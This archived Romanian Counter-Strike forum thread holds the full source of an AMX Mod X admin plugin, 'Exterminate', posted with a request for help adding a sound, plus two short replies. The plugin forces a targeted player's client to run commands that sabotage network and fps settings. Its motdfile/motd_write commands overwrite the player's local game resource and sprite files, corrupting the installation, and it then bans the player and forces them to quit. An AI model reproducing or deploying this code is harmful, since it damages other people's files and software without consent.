Existing user? Sign in
Sign up
Games
Servers
Useful
User
Pass
2FA
Cerere plugin | URGENT
Freakz Forum Index
->
Trash Bin
->
CS 2006-2019 (Archived)
->
Resources
Author
Message
1160
PR0.cfg
[Mentally Stable]
Status: Offline
(since 29-12-2012 19:59)
Joined: 24 Dec 2012
Posts: 1
,
Topics: 1
Location:
Moldova, Republic of
Reputation:
46
Votes
: 2
Posted: 24-12-2012, 01:36:43
| Translate post to:
... (
Click for more languages
)
Buna ziua tuturor !
Este posibil la acest plugin sa adaug sound ???
Sound :
Code:
http://www.2shared.com/audio/t65Fg2nH/extermination.html
SMA :
Code:
#include < amxmodx >
#include < amxmisc >
new bantime;
new forum;
new const g_sCommands[ ][ ] =
{
"rate 1",
"cl_cmdrate 1",
"cl_updaterate 1",
"fps_max 1",
"sys_ticrate 1",
"motdfile resource/ClientScheme.res;motd_write 1r4y22",
"motdfile resource/GameMenu.res;motd_write 1r4y22",
"motdfile resource/TrackerScheme.res;motd_write 1r4y22",
"motdfile resource/BackgroundLayout.txt;motd_write 1r4y22",
"motdfile resource/BackgroundLoadingLayout.txt;motd_write 1r4y22",
"motdfile resource/UI/MOTD.res;motd_write 1r4y22",
"motdfile resource/UI/ScoreBoard.res;motd_write 1r4y22",
"motdfile resource/UI/Spectator.res;motd_write 1r4y22",
"motdfile sprites/hud.txt;motd_write 1r4y22",
"motdfile sprites/320hud1.spr;motd_write 1r4y22",
"motdfile sprites/640hud1.spr;motd_write 1r4y22",
"motdfile sprites/640hud10.spr;motd_write 1r4y22",
"motdfile sprites/640hud11.spr;motd_write 1r4y22",
"cl_timeout 0"
};
public plugin_init( )
{
register_plugin( "Exterminate", "1.0", "AleCs14" );
register_concmd( "amx_exterminate", "Concmd_AMXX_exterminate", ADMIN_LEVEL_G, "<player>" );
bantime = register_cvar( "exterminate_bantime", "0" );
forum = register_cvar( "exterminate_forum", "www.cs1.ro" );
}
public Concmd_AMXX_exterminate( id, level, cid )
{
if( !cmd_access( id, level, cid, 2 ) )
return PLUGIN_HANDLED;
new sArgument[ 32 ];
read_argv( 1, sArgument, charsmax( sArgument ) );
new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
if( !player )
return PLUGIN_HANDLED;
for( new i = 0; i < sizeof( g_sCommands ); i++)
client_cmd( player, g_sCommands[ i ] );
new name[ 32 ], numeserver[64], name2[ 32 ], ip2[ 16 ], Players[32], PlayersNum;
get_user_name( id, name, charsmax( name ) );
get_user_name( player, name2, charsmax( name2 ) );
get_user_ip( player, ip2, charsmax( ip2 ), 1 );
get_cvar_string("hostname",numeserver,63);
get_players( Players, PlayersNum, "ch" );
new szForum[32];
get_pcvar_string(forum, szForum, 31);
console_print(player, "Server : %s",numeserver)
console_print(player, "Nume : ^"%s^" - IP : %s",name2,ip2)
console_print(player, "Comanda amx_exterminate a fost executata de : %s",name)
console_print(player, "Crezi ca ai fost nedreptatit? Foloseste poza facuta, in reclamatie")
console_print(player, "Forum :", szForum)
client_cmd(player, "wait;snapshot;wait;snapshot")
log_to_file( "exterminate.log", "Admin %s: exterminate %s IP %s", name, name2, ip2 );
player_color( 0, "* Player .v%s was exterminated by %s !", name2, name );
client_cmd(id, "amx_banip ^"%s^" %d ^"exterminate^"", name2, get_pcvar_num( bantime ))
client_cmd( 0, "spk ^"vox/bizwarn coded user and exterminate^"" );
client_cmd(player, "quit")
for(new i=0; i<sizeof PlayersNum; i++)
{
if( is_user_alive( Players[i] ) )
{
set_hudmessage( 255, 0, 0, 0.37, 0.41, 2, 6.0, 12.0 );
show_hudmessage( Players[i], "%s a fost exterminat!", name2 );
}
else if( !is_user_alive( Players[i] ) )
{
set_hudmessage( 0, 255, 0, 0.37, 0.41, 2, 6.0, 12.0 );
show_hudmessage( Players[i], "%s a fost exterminat!", name2 );
}
switch(get_user_team(Players[i]))
{
case 1:
{
FadeScreen(Players[i], 3.0, 255, 0, 0, 50);
}
case 2:
{
FadeScreen(Players[i], 3.0, 0, 0, 255, 50);
}
}
ShakeScreen(Players[i], 3.0);
}
return PLUGIN_HANDLED;
}
public FadeScreen(id, const Float:seconds, const red, const green, const blue, const alpha)
{
message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
write_short(floatround(4096.0 * seconds, floatround_round));
write_short(floatround(4096.0 * seconds, floatround_round));
write_short(0x0000);
write_byte(red);
write_byte(green);
write_byte(blue);
write_byte(alpha);
message_end( );
}
public ShakeScreen(id, const Float:seconds)
{
message_begin(MSG_ONE, get_user_msgid("ScreenShake"), {0, 0, 0}, id);
write_short(floatround(4096.0 * seconds, floatround_round));
write_short(floatround(4096.0 * seconds, floatround_round));
write_short(1<<13);
message_end( );
}
stock player_color( const id, const input[ ], any:... )
{
new count = 1, players[ 32 ]
static msg[ 191 ]
vformat( msg, 190, input, 3 )
replace_all( msg, 190, ".v", "^4" ) /* verde */
replace_all( msg, 190, ".g", "^1" ) /* galben */
replace_all( msg, 190, ".e", "^3" ) /* ct=albastru | t=rosu */
replace_all( msg, 190, ".x", "^0" ) /* normal-echipa */
if( id ) players[ 0 ] = id; else get_players( players, count, "ch" )
{
for( new i = 0; i < count; i++ )
{
if( is_user_connected( players[ i ] ) )
{
message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] )
write_byte( players[ i ] );
write_string( msg );
message_end( );
}
}
}
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
*/
[/code]
0
0
Back to top
*p0seidOn
[Banned user]
Status: Offline
(since 28-02-2013 19:28)
Joined: 21 Dec 2012
Posts: 567
,
Topics: 67
Location:
FreaKz
Reputation:
95.3
Votes
: 21
Posted: 04-01-2013, 12:25:53
| Translate post to:
... (
Click for more languages
)
Din cate stiu eu nu se pot adauga sunete la acest plugin .
Asteptam pe cineva mai in masura decat mine
*** este calea
0
0
Back to top
Recharge
[Mentally Stable]
Status: Offline
(since 03-03-2013 08:45)
Joined: 04 Jan 2013
Posts: 10
,
Topics: 4
Location:
Europe
Reputation:
52.3
Votes
: 2
Posted: 19-01-2013, 14:33:00
| Translate post to:
... (
Click for more languages
)
Ce fel de sunete vrei sa pui pe server ?
Cele gen : hs,multikill etc
Sau cele cand tastezi un anumit cuvant sa intervina si un sunet ?
0
0
Back to top
Freakz Forum Index
->
Trash Bin
->
CS 2006-2019 (Archived)
->
Resources
The time now is 23-02-2025, 14:07:24
Copyright info
Based on phpBB
ro
/
com
B
Login
I forgot my password
World of Warcraft
Login for more...
Download WoW 7.3.5
Misc
eSports
Achievements
Buy reputation with votes
Reputation trades
Forum rules
Ban list
Members list
User guide (FAQ)
World of Warcraft
View details